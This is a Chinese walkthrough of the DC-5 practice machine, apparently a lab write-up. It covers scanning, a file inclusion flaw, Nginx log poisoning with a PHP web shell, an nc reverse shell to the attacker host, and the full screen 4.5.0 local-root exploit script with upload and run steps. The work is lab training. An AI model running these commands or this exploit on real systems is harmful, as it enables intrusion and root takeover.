靶机渗透测试实战——DC-5

实验环境:

  • 目标机DC-5的IP地址:未知(192.168.85.144)
  • 攻击机kali的IP地址:192.168.85.139

实验步骤:

1、主机扫描,确定目标主机

命令:arp-scan -l

靶机渗透测试实战——DC-5_第1张图片

2、端口扫描,确定详细服务

命令1:nmap -sS -Pn -A -p- 192.168.85.144
靶机渗透测试实战——DC-5_第2张图片命令2:nmap -sV -p- 192.168.85.144
#-sV —— 用来扫描目标主机和端口上运行的软件的版本

靶机渗透测试实战——DC-5_第3张图片

3、访问DC-5的web服务,了解相关信息

3.1> 访问DC-5的web服务,只有一个提示,看不出什么特别来;
靶机渗透测试实战——DC-5_第4张图片
3.2> 翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变;

靶机渗透测试实战——DC-5_第5张图片靶机渗透测试实战——DC-5_第6张图片我们发现:发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的。

靶机渗透测试实战——DC-5_第7张图片
靶机渗透测试实战——DC-5_第8张图片

4、使用wfuzz测试页面参数

具体使用可以参考:WFUZZ的使用

5、使用御剑进行目录扫描目标机

靶机渗透测试实战——DC-5_第9张图片

6、对状态为200的文件进行访问

注意:访问状态为200的文件,当访问到footer.php文件时,显示如下,并且刷新一次年份会发生改变。

靶机渗透测试实战——DC-5_第10张图片
靶机渗透测试实战——DC-5_第11张图片

7、之前在thinkyou.php中看到了这种情况(没网页刷新一次,年份都会发生变化),因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞靶机渗透测试实战——DC-5_第12张图片靶机渗透测试实战——DC-5_第13张图片
8、猜测一下漏洞是否真的存在和看一下是否会过滤包含进来的文件

8.1> 用burp抓包检测,可以看到的确存在该漏洞并且没有过滤包含进来的内容;

靶机渗透测试实战——DC-5_第14张图片

靶机渗透测试实战——DC-5_第15张图片

9、将一句话木马写入到php的日志文件中,包含文件

在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,写入phpinfo()进行探测,是否可以包含成功。

9.1> 将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包;
靶机渗透测试实战——DC-5_第16张图片

9.2> 通过日志文件log查看是否写入成功;

日志路径为:/var/log/nginx/access.log,是系统默认路径

靶机渗透测试实战——DC-5_第17张图片

通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。

靶机渗透测试实战——DC-5_第18张图片

10、直接写系统执行语句,尝试能否带入命令

通过BurpSuite抓包,并写入PHP的执行系统命令

关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出

靶机渗透测试实战——DC-5_第19张图片

进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168.85.145/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd
靶机渗透测试实战——DC-5_第20张图片
外部命令已经正常执行。

注意:

当我们写入一句话木马: ,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。

11、通过nc命令直接进行shell反弹

命令:abc=nc 192.168.85.139 7777 -c /bin/bash
11.1> 在kali上用命令:nc -lvvp 7777 对端口7777进行监听;
11.2> 通过firefox浏览器对日志文件中的木马病毒进行执行;
靶机渗透测试实战——DC-5_第21张图片可以发现我们已经反弹成功!!!

12、切换到交互模式shell

交互式shell命令:python -c “import pty;pty.spawn(‘/bin/bash’)”

靶机渗透测试实战——DC-5_第22张图片

13、查看具有特殊权限的二进制文件

查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null

靶机渗透测试实战——DC-5_第23张图片
这里我们发现了一个screen-4.5.0的这个特殊文件;

14、在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索

在这里插入图片描述我们直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件

15、将该41154.sh文件拷贝到/root目录下

在这里插入图片描述

16、因为直接执行这个脚本出现错误了,所以需要对这个脚本完成如下几个工作

具体不走如下:

用vim打开该sh文件,输入:
[plain]
:set ff  
回车,显示fileformat=dos,重新设置下文件格式:
[plain]
:set ff=unix  
保存退出:
[plain]
:wq 

靶机渗透测试实战——DC-5_第24张图片

17、将41154.sh文件上床到目标机DC-5上面

我们使用apache进行上传失败;

在这里插入图片描述可以发现通过kali中开启apache服务,通过wget上传文件失败了!!!

最后我们通过ftp服务进行文件上服务

服务端(kali攻击机)

17.1> 在kali攻击机上安装并启动服务端vsftpd服务;
靶机渗透测试实战——DC-5_第25张图片17.2> 添加用户:lisi,并设置密码:123456

靶机渗透测试实战——DC-5_第26张图片17.3> 在家目录下建立lisi文件夹,并将41154.sh文件粘贴到该文件夹里面;
靶机渗透测试实战——DC-5_第27张图片 并赋予lisi文件夹写权限;

靶机渗透测试实战——DC-5_第28张图片

目标机(DC-5):

17.4> 通过已经拿到的getshell,通过ftp登录攻击机;
靶机渗透测试实战——DC-5_第29张图片
17.5> 下载41154.sh文件,到本地的/tmp目录下(因为/tmp的权限为777);

首先查看/tmp的权限;
靶机渗透测试实战——DC-5_第30张图片
在本地DC-5目标机下载41154.sh文件;

靶机渗透测试实战——DC-5_第31张图片
17.6> 执行41154.sh文件;

我们可以发现,脚本执行出现错误,是我太疏忽了,没有打开41154.sh文件,研究里面的代码。没办法重新开始研究的。。

18、在kali中打开41154.sh文件
root@kali:/home/lisi# cat 41154.sh 
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include 
#include 
#include 
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include 
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
root@kali:/home/lisi# 

通过以上分析,我们应该对以上代码分三步走

第一步:把该bash文件的上面一部分c语言代码单独复制出来,如图

靶机渗透测试实战——DC-5_第32张图片复制完成后,直接带本地对libhax.c进行编译,编译完成后将libhax.c文件删除;
靶机渗透测试实战——DC-5_第33张图片

第二步:把下面一个c语言代码也单独复制出来取文件名为rootshell.c,然后进行编译操作;

靶机渗透测试实战——DC-5_第34张图片
对rootshell.c文件进行gcc编译后,将原文件rootshell.c删除掉;

靶机渗透测试实战——DC-5_第35张图片

第三步:修改原来41154.sh的bash文件,如下图所示;

靶机渗透测试实战——DC-5_第36张图片

第四步:通过vi编译器打开已经编译好的41154.sh文件,并使用 :set ff=unix 进行保存;

靶机渗透测试实战——DC-5_第37张图片编译后对41154.sh进行更名为dc5.sh;

靶机渗透测试实战——DC-5_第38张图片

19、最后把编译好的两个文件(libhax.so 和 rootshell)和41154.sh文件全部都上传到DC-5靶机上面

通过ftp命令登录kali攻击机;
靶机渗透测试实战——DC-5_第39张图片
对文件进行下载操作;

靶机渗透测试实战——DC-5_第40张图片

20、给dc5.sh文件赋予执行权,并且运行dc5.sh,提权成功。

靶机渗透测试实战——DC-5_第41张图片

你可能感兴趣的:(渗透测试靶机实验)